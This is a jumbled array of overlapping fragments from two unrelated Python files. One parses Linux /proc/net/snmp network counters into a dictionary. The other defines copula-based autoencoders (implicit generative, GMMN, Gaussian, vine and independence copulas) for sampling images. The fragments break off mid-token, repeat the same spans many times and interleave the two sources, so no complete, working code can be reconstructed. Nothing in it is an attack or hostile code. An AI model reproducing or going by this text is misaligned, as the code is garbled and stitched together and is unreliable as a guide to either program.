"InRedirects InEchos InEchoReps InTimestamps InTimestampReps InAddrMasks InAddrMaskReps OutMsgs OutErrors OutDestUnreachs OutTimeExcds OutParmProbs OutSrcQuenchs", "0 91 0 0 0 0 81 0 0 0 0 0 168", "43 1880045 1741596 7213 0 3044 Udp: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors", "0 ''' from logging import getLogger from os import path as ospath from", "dictionary The net/snmp file is a series of records keyed on subcategories '''", "in vals] ) ) else: fkey = key fvals = vals return ret", "InUnknownProtos InDiscards InDelivers OutRequests OutDiscards OutNoRoutes ReasmTimeout ReasmReqds ReasmOKs ReasmFails FragOKs FragFails FragCreates", "= 'netsnmp' def normalize(self): ''' Translates data into dictionary The net/snmp file is", "Contains the NetSnmp() class Typical contents of file /proc/net/snmp:: Ip: Forwarding DefaultTTL InReceives", "file /proc/net/snmp:: Ip: Forwarding DefaultTTL InReceives InHdrErrors InAddrErrors ForwDatagrams InUnknownProtos InDiscards InDelivers OutRequests", "OutType3 IcmpMsg: 91 81 81 87 Tcp: RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens PassiveOpens", "enumerate(lines): top, tail = line.split(':') key = top.lstrip() vals = tail.lstrip().split() if i", "def normalize(self): ''' Translates data into dictionary The net/snmp file is a series", "ReasmReqds ReasmOKs ReasmFails FragOKs FragFails FragCreates Ip: 1 64 2354322 0 0 0", "zip( fvals, [int(val) for val in vals] ) ) else: fkey = key", "0 0 81 0 0 0 0 0 168 0 87 0 0", "InTimestamps InTimestampReps InAddrMasks InAddrMaskReps OutMsgs OutErrors OutDestUnreachs OutTimeExcds OutParmProbs OutSrcQuenchs OutRedirects OutEchos OutEchoReps", "81 0 0 0 0 IcmpMsg: InType3 InType8 OutType0 OutType3 IcmpMsg: 91 81", "IcmpMsg: 91 81 81 87 Tcp: RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens PassiveOpens AttemptFails", "''' Contains the NetSnmp() class Typical contents of file /proc/net/snmp:: Ip: Forwarding DefaultTTL", "LOGGER.debug(\"Normalize\") lines = self.lines ret = {} fkey = '' fvals = []", "0 0 0 0 2282006 2066446 0 0 0 0 0 0 0", "70054 4198 337 2847 43 1880045 1741596 7213 0 3044 Udp: InDatagrams NoPorts", "0 0 0 0 ''' from logging import getLogger from os import path", "0 0 ''' from logging import getLogger from os import path as ospath", "import path as ospath from .readfile import ReadFile LOGGER = getLogger(__name__) class NetSnmp(ReadFile):", "FILENAME = ospath.join('proc', 'net', 'snmp') KEY = 'netsnmp' def normalize(self): ''' Translates data", "OutErrors OutDestUnreachs OutTimeExcds OutParmProbs OutSrcQuenchs OutRedirects OutEchos OutEchoReps OutTimestamps OutTimestampReps OutAddrMasks OutAddrMaskReps Icmp:", "ReasmFails FragOKs FragFails FragCreates Ip: 1 64 2354322 0 0 0 0 0", "InErrs OutRsts Tcp: 1 200 120000 -1 70054 4198 337 2847 43 1880045", "InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors Udp: 344291 8 376 317708 0 0", "normalize(self): ''' Translates data into dictionary The net/snmp file is a series of", "OutSegs RetransSegs InErrs OutRsts Tcp: 1 200 120000 -1 70054 4198 337 2847", "64 2354322 0 0 0 0 0 2282006 2066446 0 0 0 0", "InMsgs InErrors InDestUnreachs InTimeExcds InParmProbs InSrcQuenchs InRedirects InEchos InEchoReps InTimestamps InTimestampReps InAddrMasks InAddrMaskReps", "val in vals] ) ) else: fkey = key fvals = vals return", "0 0 0 2282006 2066446 0 0 0 0 0 0 0 0", "0 0 0 IcmpMsg: InType3 InType8 OutType0 OutType3 IcmpMsg: 91 81 81 87", "PassiveOpens AttemptFails EstabResets CurrEstab InSegs OutSegs RetransSegs InErrs OutRsts Tcp: 1 200 120000", "1880045 1741596 7213 0 3044 Udp: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors Udp:", "RcvbufErrors SndbufErrors Udp: 344291 8 376 317708 0 0 UdpLite: InDatagrams NoPorts InErrors", "''' from logging import getLogger from os import path as ospath from .readfile", "DefaultTTL InReceives InHdrErrors InAddrErrors ForwDatagrams InUnknownProtos InDiscards InDelivers OutRequests OutDiscards OutNoRoutes ReasmTimeout ReasmReqds", "class NetSnmp(ReadFile): ''' NetSnmp handling ''' FILENAME = ospath.join('proc', 'net', 'snmp') KEY =", "OutEchoReps OutTimestamps OutTimestampReps OutAddrMasks OutAddrMaskReps Icmp: 172 0 91 0 0 0 0", "IcmpMsg: InType3 InType8 OutType0 OutType3 IcmpMsg: 91 81 81 87 Tcp: RtoAlgorithm RtoMin", "''' LOGGER.debug(\"Normalize\") lines = self.lines ret = {} fkey = '' fvals =", "tail.lstrip().split() if i % 2: if fkey == key: ret[key] = dict( zip(", "OutSrcQuenchs OutRedirects OutEchos OutEchoReps OutTimestamps OutTimestampReps OutAddrMasks OutAddrMaskReps Icmp: 172 0 91 0", "0 0 168 0 87 0 0 0 0 0 81 0 0", "Forwarding DefaultTTL InReceives InHdrErrors InAddrErrors ForwDatagrams InUnknownProtos InDiscards InDelivers OutRequests OutDiscards OutNoRoutes ReasmTimeout", "0 IcmpMsg: InType3 InType8 OutType0 OutType3 IcmpMsg: 91 81 81 87 Tcp: RtoAlgorithm", "1 200 120000 -1 70054 4198 337 2847 43 1880045 1741596 7213 0", "logging import getLogger from os import path as ospath from .readfile import ReadFile", "= getLogger(__name__) class NetSnmp(ReadFile): ''' NetSnmp handling ''' FILENAME = ospath.join('proc', 'net', 'snmp')", "fvals = [] for i, line in enumerate(lines): top, tail = line.split(':') key", "2: if fkey == key: ret[key] = dict( zip( fvals, [int(val) for val", "1 64 2354322 0 0 0 0 0 2282006 2066446 0 0 0", "0 0 0 0 81 0 0 0 0 0 168 0 87", "InParmProbs InSrcQuenchs InRedirects InEchos InEchoReps InTimestamps InTimestampReps InAddrMasks InAddrMaskReps OutMsgs OutErrors OutDestUnreachs OutTimeExcds", "ActiveOpens PassiveOpens AttemptFails EstabResets CurrEstab InSegs OutSegs RetransSegs InErrs OutRsts Tcp: 1 200", "''' FILENAME = ospath.join('proc', 'net', 'snmp') KEY = 'netsnmp' def normalize(self): ''' Translates", "OutEchos OutEchoReps OutTimestamps OutTimestampReps OutAddrMasks OutAddrMaskReps Icmp: 172 0 91 0 0 0", "0 0 IcmpMsg: InType3 InType8 OutType0 OutType3 IcmpMsg: 91 81 81 87 Tcp:", "InTimeExcds InParmProbs InSrcQuenchs InRedirects InEchos InEchoReps InTimestamps InTimestampReps InAddrMasks InAddrMaskReps OutMsgs OutErrors OutDestUnreachs", "InType3 InType8 OutType0 OutType3 IcmpMsg: 91 81 81 87 Tcp: RtoAlgorithm RtoMin RtoMax", "= ospath.join('proc', 'net', 'snmp') KEY = 'netsnmp' def normalize(self): ''' Translates data into", "subcategories ''' LOGGER.debug(\"Normalize\") lines = self.lines ret = {} fkey = '' fvals", "top.lstrip() vals = tail.lstrip().split() if i % 2: if fkey == key: ret[key]", "0 0 0 ''' from logging import getLogger from os import path as", "path as ospath from .readfile import ReadFile LOGGER = getLogger(__name__) class NetSnmp(ReadFile): '''", "0 2282006 2066446 0 0 0 0 0 0 0 0 0 Icmp:", "''' NetSnmp handling ''' FILENAME = ospath.join('proc', 'net', 'snmp') KEY = 'netsnmp' def", "key = top.lstrip() vals = tail.lstrip().split() if i % 2: if fkey ==", "OutMsgs OutErrors OutDestUnreachs OutTimeExcds OutParmProbs OutSrcQuenchs OutRedirects OutEchos OutEchoReps OutTimestamps OutTimestampReps OutAddrMasks OutAddrMaskReps", "1741596 7213 0 3044 Udp: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors Udp: 344291", "0 0 0 0 81 0 0 0 0 IcmpMsg: InType3 InType8 OutType0", "Translates data into dictionary The net/snmp file is a series of records keyed", "0 168 0 87 0 0 0 0 0 81 0 0 0", "OutTimeExcds OutParmProbs OutSrcQuenchs OutRedirects OutEchos OutEchoReps OutTimestamps OutTimestampReps OutAddrMasks OutAddrMaskReps Icmp: 172 0", "0 0 0 0 IcmpMsg: InType3 InType8 OutType0 OutType3 IcmpMsg: 91 81 81", "getLogger from os import path as ospath from .readfile import ReadFile LOGGER =", "ReasmTimeout ReasmReqds ReasmOKs ReasmFails FragOKs FragFails FragCreates Ip: 1 64 2354322 0 0", "OutDatagrams RcvbufErrors SndbufErrors Udp: 344291 8 376 317708 0 0 UdpLite: InDatagrams NoPorts", "NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors Udp: 344291 8 376 317708 0 0 UdpLite:", "0 0 0 0 0 81 0 0 0 0 IcmpMsg: InType3 InType8", "FragFails FragCreates Ip: 1 64 2354322 0 0 0 0 0 2282006 2066446", "ForwDatagrams InUnknownProtos InDiscards InDelivers OutRequests OutDiscards OutNoRoutes ReasmTimeout ReasmReqds ReasmOKs ReasmFails FragOKs FragFails", "0 0 81 0 0 0 0 IcmpMsg: InType3 InType8 OutType0 OutType3 IcmpMsg:", "i % 2: if fkey == key: ret[key] = dict( zip( fvals, [int(val)", "2354322 0 0 0 0 0 2282006 2066446 0 0 0 0 0", "0 81 0 0 0 0 0 168 0 87 0 0 0", "MaxConn ActiveOpens PassiveOpens AttemptFails EstabResets CurrEstab InSegs OutSegs RetransSegs InErrs OutRsts Tcp: 1", "InTimestampReps InAddrMasks InAddrMaskReps OutMsgs OutErrors OutDestUnreachs OutTimeExcds OutParmProbs OutSrcQuenchs OutRedirects OutEchos OutEchoReps OutTimestamps", "FragOKs FragFails FragCreates Ip: 1 64 2354322 0 0 0 0 0 2282006", "class Typical contents of file /proc/net/snmp:: Ip: Forwarding DefaultTTL InReceives InHdrErrors InAddrErrors ForwDatagrams", "SndbufErrors Udp: 344291 8 376 317708 0 0 UdpLite: InDatagrams NoPorts InErrors OutDatagrams", "import getLogger from os import path as ospath from .readfile import ReadFile LOGGER", "376 317708 0 0 UdpLite: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors UdpLite: 0", "0 0 0 168 0 87 0 0 0 0 0 81 0", "0 0 0 0 0 0 0 0 0 Icmp: InMsgs InErrors InDestUnreachs", "= {} fkey = '' fvals = [] for i, line in enumerate(lines):", "ret[key] = dict( zip( fvals, [int(val) for val in vals] ) ) else:", "RtoMax MaxConn ActiveOpens PassiveOpens AttemptFails EstabResets CurrEstab InSegs OutSegs RetransSegs InErrs OutRsts Tcp:", "InAddrErrors ForwDatagrams InUnknownProtos InDiscards InDelivers OutRequests OutDiscards OutNoRoutes ReasmTimeout ReasmReqds ReasmOKs ReasmFails FragOKs", "= dict( zip( fvals, [int(val) for val in vals] ) ) else: fkey", "= line.split(':') key = top.lstrip() vals = tail.lstrip().split() if i % 2: if", "os import path as ospath from .readfile import ReadFile LOGGER = getLogger(__name__) class", "RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens PassiveOpens AttemptFails EstabResets CurrEstab InSegs OutSegs RetransSegs InErrs", "3044 Udp: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors Udp: 344291 8 376 317708", "InSegs OutSegs RetransSegs InErrs OutRsts Tcp: 1 200 120000 -1 70054 4198 337", "Ip: Forwarding DefaultTTL InReceives InHdrErrors InAddrErrors ForwDatagrams InUnknownProtos InDiscards InDelivers OutRequests OutDiscards OutNoRoutes", "Tcp: RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens PassiveOpens AttemptFails EstabResets CurrEstab InSegs OutSegs RetransSegs", "0 0 0 0 0 2282006 2066446 0 0 0 0 0 0", "0 UdpLite: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors UdpLite: 0 0 0 0", "from logging import getLogger from os import path as ospath from .readfile import", "fkey == key: ret[key] = dict( zip( fvals, [int(val) for val in vals]", "InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors UdpLite: 0 0 0 0 0 0", "UdpLite: 0 0 0 0 0 0 ''' from logging import getLogger from", "for val in vals] ) ) else: fkey = key fvals = vals", "NetSnmp handling ''' FILENAME = ospath.join('proc', 'net', 'snmp') KEY = 'netsnmp' def normalize(self):", "OutTimestamps OutTimestampReps OutAddrMasks OutAddrMaskReps Icmp: 172 0 91 0 0 0 0 81", "line in enumerate(lines): top, tail = line.split(':') key = top.lstrip() vals = tail.lstrip().split()", "import ReadFile LOGGER = getLogger(__name__) class NetSnmp(ReadFile): ''' NetSnmp handling ''' FILENAME =", "if i % 2: if fkey == key: ret[key] = dict( zip( fvals,", "0 3044 Udp: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors Udp: 344291 8 376", "series of records keyed on subcategories ''' LOGGER.debug(\"Normalize\") lines = self.lines ret =", "OutNoRoutes ReasmTimeout ReasmReqds ReasmOKs ReasmFails FragOKs FragFails FragCreates Ip: 1 64 2354322 0", "172 0 91 0 0 0 0 81 0 0 0 0 0", "into dictionary The net/snmp file is a series of records keyed on subcategories", "self.lines ret = {} fkey = '' fvals = [] for i, line", "2282006 2066446 0 0 0 0 0 0 0 0 0 Icmp: InMsgs", "net/snmp file is a series of records keyed on subcategories ''' LOGGER.debug(\"Normalize\") lines", "OutRsts Tcp: 1 200 120000 -1 70054 4198 337 2847 43 1880045 1741596", "InDelivers OutRequests OutDiscards OutNoRoutes ReasmTimeout ReasmReqds ReasmOKs ReasmFails FragOKs FragFails FragCreates Ip: 1", ".readfile import ReadFile LOGGER = getLogger(__name__) class NetSnmp(ReadFile): ''' NetSnmp handling ''' FILENAME", "handling ''' FILENAME = ospath.join('proc', 'net', 'snmp') KEY = 'netsnmp' def normalize(self): '''", "[int(val) for val in vals] ) ) else: fkey = key fvals =", "InEchoReps InTimestamps InTimestampReps InAddrMasks InAddrMaskReps OutMsgs OutErrors OutDestUnreachs OutTimeExcds OutParmProbs OutSrcQuenchs OutRedirects OutEchos", "a series of records keyed on subcategories ''' LOGGER.debug(\"Normalize\") lines = self.lines ret", "0 0 0 0 0 168 0 87 0 0 0 0 0", "120000 -1 70054 4198 337 2847 43 1880045 1741596 7213 0 3044 Udp:", "LOGGER = getLogger(__name__) class NetSnmp(ReadFile): ''' NetSnmp handling ''' FILENAME = ospath.join('proc', 'net',", "0 0 0 0 0 Icmp: InMsgs InErrors InDestUnreachs InTimeExcds InParmProbs InSrcQuenchs InRedirects", "lines = self.lines ret = {} fkey = '' fvals = [] for", "UdpLite: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors UdpLite: 0 0 0 0 0", "= '' fvals = [] for i, line in enumerate(lines): top, tail =" ]
[ "# sample an image return self._decode(self._sample_z(n_samples)) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if", "self.decoder_model = ae_model.decoder self.z = self._encode(x) self.margins = self._fit_margins(self.z) self.u = self._cdf(self.z) def", "def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if imgs is None: imgs = self.sample_images(n)", "else: return self._decode(z) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if imgs is None:", "Copula Auto Encoder with GMMN Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=10000000,", "= tf.keras.models.load_model(ae_model) self.encoder_model = ae_model.encoder self.decoder_model = ae_model.decoder self.z = self._encode(x) self.margins =", "# decode latent space samples to images return self.decoder_model(z).numpy() def _cdf(self, z): #", "#self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train,", "def _encode(self, x): # encode images to latent space return self.encoder_model(x).numpy() def _decode(self,", "pv.BicopFamily.bb7, pv.BicopFamily.bb8], trunc_lvl=trunc_lvl, show_trace=show_trace) else: controls = pv.FitControlsVinecop(trunc_lvl=trunc_lvl, show_trace=show_trace) self.copula = pv.Vinecop(data=self.u, controls=controls)", "\"\"\" Copula Auto Encoder with GMMN Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200,", "def _sample_z(self, n_samples=1, u=None): # sample from latent space if u is None:", "self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path)", "is None: return self._decode(self._sample_z(n_samples)) else: return self._decode(z) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None):", "i in range(z.shape[1]): margins.append(cdf_interpolator(z[:,i], kind=\"linear\", x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0], x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0])) return margins def _sample_u(self, n_samples=1): #", "self._decode(self._sample_z(n_samples)) else: return self._decode(z) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if imgs is", "Energy Information Networks & Systems @ TU Darmstadt \"\"\" import numpy as np", "self._ppf(u) def sample_images(self, n_samples=1, z=None): # sample an image if z is None:", "VariationalAutoEncoder(object): def __init__(self, decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\", latent_dim=25): if isinstance(decoder_model, str): self.decoder_model = tf.keras.models.load_model(decoder_model) else: self.decoder_model", "= pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll], trunc_lvl=trunc_lvl, show_trace=show_trace) elif families == \"parametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep, pv.BicopFamily.gaussian, pv.BicopFamily.student,", "batch_size=100, n_samples_train=200, regen_noise=1000000, validation_split=0.0, validation_data=None): if validation_data is not None: u_test = self._cdf((self._encode(validation_data)))", "batch_size=100, n_samples_train=200, regen_noise=10000000, validation_split=0.0, validation_data=None): if validation_data is not None: u_test = self._cdf((self._encode(validation_data)))", "# sample from latent space if u is None: return self._ppf(self._sample_u(n_samples)) else: return", "= self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200)", "range(z.shape[1]): margins.append(cdf_interpolator(z[:,i], kind=\"linear\", x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0], x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0])) return margins def _sample_u(self, n_samples=1): # sample from", "to {path}.\") def load_model(self, path): self.copula = pv.Vinecop(filename=path) print(\"Loaded vine copula model.\") class", "copula model.\") class GaussianCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Gaussian Copula \"\"\" def", "return self.decoder_model.predict(z) def fit(self): pass def sample_images(self, n_samples): # sample an image return", "n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist = self.copula.fit(self.u, epochs=epochs, batch_size=batch_size, validation_data=u_test, regen_noise=regen_noise, validation_split=0.0) return", "models import mv_copulas import matplotlib.pyplot as plt class CopulaAutoEncoder(object): def __init__(self, x, ae_model):", "= pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep, pv.BicopFamily.gaussian, pv.BicopFamily.student, pv.BicopFamily.clayton, pv.BicopFamily.gumbel, pv.BicopFamily.frank, pv.BicopFamily.joe, pv.BicopFamily.bb1, pv.BicopFamily.bb6, pv.BicopFamily.bb7, pv.BicopFamily.bb8], trunc_lvl=trunc_lvl,", "Encoder with Implicit Generative Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=1000000, validation_split=0.0,", "matplotlib.pyplot as plt class CopulaAutoEncoder(object): def __init__(self, x, ae_model): if isinstance(ae_model, str): ae_model", "return self.copula.simulate(n_samples) def _sample_z(self, n_samples=1, u=None): # sample from latent space if u", "#self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train,", "self._cdf((self._encode(validation_data))) else: u_test = None #self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula", "regen_noise=1000000, validation_split=0.0, validation_data=None): if validation_data is not None: u_test = self._cdf((self._encode(validation_data))) else: u_test", "decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\", latent_dim=25): if isinstance(decoder_model, str): self.decoder_model = tf.keras.models.load_model(decoder_model) else: self.decoder_model = decoder_model self.decoder_model.compile()", "import numpy as np import tensorflow as tf from models.igc import ImplicitGenerativeCopula, GMMNCopula", "np.zeros_like(z) for i in range(u.shape[1]): u[:,i] = self.margins[i].cdf(z[:,i]) return u def _ppf(self, u):", "pv from models import mv_copulas import matplotlib.pyplot as plt class CopulaAutoEncoder(object): def __init__(self,", "Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=10000000, validation_split=0.0, validation_data=None): if validation_data is", "Networks & Systems @ TU Darmstadt \"\"\" import numpy as np import tensorflow", "def _sample_z(self, n_samples): # sample from latent space return np.random.normal(loc=0.0, scale=1.0, size=(n_samples, self.latent_dim))", "n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class GMMNCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder", "u is None: return self._ppf(self._sample_u(n_samples)) else: return self._ppf(u) def sample_images(self, n_samples=1, z=None): #", "fit(self): pass def _sample_u(self, n_samples): return np.random.uniform(0.0, 1.0, size=(n_samples, self.u.shape[1])) class VariationalAutoEncoder(object): def", "path): self.copula = pv.Vinecop(filename=path) print(\"Loaded vine copula model.\") class GaussianCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto", "_decode(self, z): # decode latent space samples to images return self.decoder_model(z).numpy() def _cdf(self,", "pv.BicopFamily.gumbel, pv.BicopFamily.frank, pv.BicopFamily.joe, pv.BicopFamily.bb1, pv.BicopFamily.bb6, pv.BicopFamily.bb7, pv.BicopFamily.bb8], trunc_lvl=trunc_lvl, show_trace=show_trace) else: controls = pv.FitControlsVinecop(trunc_lvl=trunc_lvl,", "plt.tight_layout() class IGCAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Implicit Generative Copula \"\"\" def", "IGCAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Implicit Generative Copula \"\"\" def fit(self, epochs=100,", "= [] for i in range(z.shape[1]): margins.append(cdf_interpolator(z[:,i], kind=\"linear\", x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0], x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0])) return margins def", "get pseudo obs u = np.zeros_like(z) for i in range(u.shape[1]): u[:,i] = self.margins[i].cdf(z[:,i])", "def __init__(self, x, ae_model): if isinstance(ae_model, str): ae_model = tf.keras.models.load_model(ae_model) self.encoder_model = ae_model.encoder", "epochs=100, batch_size=100, n_samples_train=200, regen_noise=1000000, validation_split=0.0, validation_data=None): if validation_data is not None: u_test =", "Independence Copula \"\"\" def fit(self): pass def _sample_u(self, n_samples): return np.random.uniform(0.0, 1.0, size=(n_samples,", "# sample from latent space return np.random.normal(loc=0.0, scale=1.0, size=(n_samples, self.latent_dim)) def _decode(self,z): return", "Auto Encoder with Implicit Generative Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=1000000,", "isinstance(ae_model, str): ae_model = tf.keras.models.load_model(ae_model) self.encoder_model = ae_model.encoder self.decoder_model = ae_model.decoder self.z =", "n_samples_train=200, regen_noise=1000000, validation_split=0.0, validation_data=None): if validation_data is not None: u_test = self._cdf((self._encode(validation_data))) else:", "pv.BicopFamily.frank, pv.BicopFamily.joe, pv.BicopFamily.bb1, pv.BicopFamily.bb6, pv.BicopFamily.bb7, pv.BicopFamily.bb8], trunc_lvl=trunc_lvl, show_trace=show_trace) else: controls = pv.FitControlsVinecop(trunc_lvl=trunc_lvl, show_trace=show_trace)", "= np.zeros_like(u) for i in range(z.shape[1]): z[:,i] = self.margins[i].ppf(u[:,i]) return z def _fit_margins(self,", "range(u.shape[1]): u[:,i] = self.margins[i].cdf(z[:,i]) return u def _ppf(self, u): # inverse marginal cdf", "= self.margins[i].ppf(u[:,i]) return z def _fit_margins(self, z): # get the marginal distributions via", "margins.append(cdf_interpolator(z[:,i], kind=\"linear\", x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0], x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0])) return margins def _sample_u(self, n_samples=1): # sample from copula", "z is None: return self._decode(self._sample_z(n_samples)) else: return self._decode(z) def show_images(self, n=5, imgs=None, cmap=\"gray\",", "return hist def save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula = ImplicitGenerativeCopula(dim_out", "fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=1000000, validation_split=0.0, validation_data=None): if validation_data is not None: u_test", "images to latent space return self.encoder_model(x).numpy() def _decode(self, z): # decode latent space", "show_trace=False, trunc_lvl=18446744073709551615): if families == \"nonparametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll], trunc_lvl=trunc_lvl, show_trace=show_trace) elif families", "range(n): ax = plt.subplot(1, n, i+1) plt.imshow(np.squeeze(imgs[i]*255), vmin=0, vmax=255, cmap=cmap) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) plt.suptitle(title)", "Encoder with Independence Copula \"\"\" def fit(self): pass def _sample_u(self, n_samples): return np.random.uniform(0.0,", "range(z.shape[1]): z[:,i] = self.margins[i].ppf(u[:,i]) return z def _fit_margins(self, z): # get the marginal", "path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2)", "distributions via ecdf interpolation margins = [] for i in range(z.shape[1]): margins.append(cdf_interpolator(z[:,i], kind=\"linear\",", "pass def _sample_u(self, n_samples): return np.random.uniform(0.0, 1.0, size=(n_samples, self.u.shape[1])) class VariationalAutoEncoder(object): def __init__(self,", "print(\"Loaded saved copula model.\") class GMMNCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with GMMN Copula", "margins def _sample_u(self, n_samples=1): # sample from copula return self.copula.simulate(n_samples) def _sample_z(self, n_samples=1,", "controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep, pv.BicopFamily.gaussian, pv.BicopFamily.student, pv.BicopFamily.clayton, pv.BicopFamily.gumbel, pv.BicopFamily.frank, pv.BicopFamily.joe, pv.BicopFamily.bb1, pv.BicopFamily.bb6, pv.BicopFamily.bb7, pv.BicopFamily.bb8],", "None: u_test = self._cdf((self._encode(validation_data))) else: u_test = None #self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1],", "cmap=\"gray\", title=None): if imgs is None: imgs = self.sample_images(n) plt.figure(figsize=(16, 3)) for i", "\"\"\" Copula Auto Encoder with Implicit Generative Copula \"\"\" def fit(self, epochs=100, batch_size=100,", "= np.zeros_like(z) for i in range(u.shape[1]): u[:,i] = self.margins[i].cdf(z[:,i]) return u def _ppf(self,", "n_samples=1, z=None): # sample an image if z is None: return self._decode(self._sample_z(n_samples)) else:", "pv.BicopFamily.joe, pv.BicopFamily.bb1, pv.BicopFamily.bb6, pv.BicopFamily.bb7, pv.BicopFamily.bb8], trunc_lvl=trunc_lvl, show_trace=show_trace) else: controls = pv.FitControlsVinecop(trunc_lvl=trunc_lvl, show_trace=show_trace) self.copula", "plt.figure(figsize=(16, 3)) for i in range(n): ax = plt.subplot(1, n, i+1) plt.imshow(np.squeeze(imgs[i]*255), vmin=0,", "u[:,i] = self.margins[i].cdf(z[:,i]) return u def _ppf(self, u): # inverse marginal cdf z", "self._ppf(self._sample_u(n_samples)) else: return self._ppf(u) def sample_images(self, n_samples=1, z=None): # sample an image if", "= self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200)", "cdf_interpolator import pyvinecopulib as pv from models import mv_copulas import matplotlib.pyplot as plt", "fit(self): self.copula = mv_copulas.GaussianCopula() self.copula.fit(self.u) class IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Independence", "ecdf interpolation margins = [] for i in range(z.shape[1]): margins.append(cdf_interpolator(z[:,i], kind=\"linear\", x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0], x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0]))", "= ae_model.decoder self.z = self._encode(x) self.margins = self._fit_margins(self.z) self.u = self._cdf(self.z) def _encode(self,", "z): # decode latent space samples to images return self.decoder_model(z).numpy() def _cdf(self, z):", "GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3,", "class GMMNCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with GMMN Copula \"\"\" def fit(self, epochs=100,", "return self._decode(self._sample_z(n_samples)) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if imgs is None: imgs", "dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class VineCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with", "= GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, 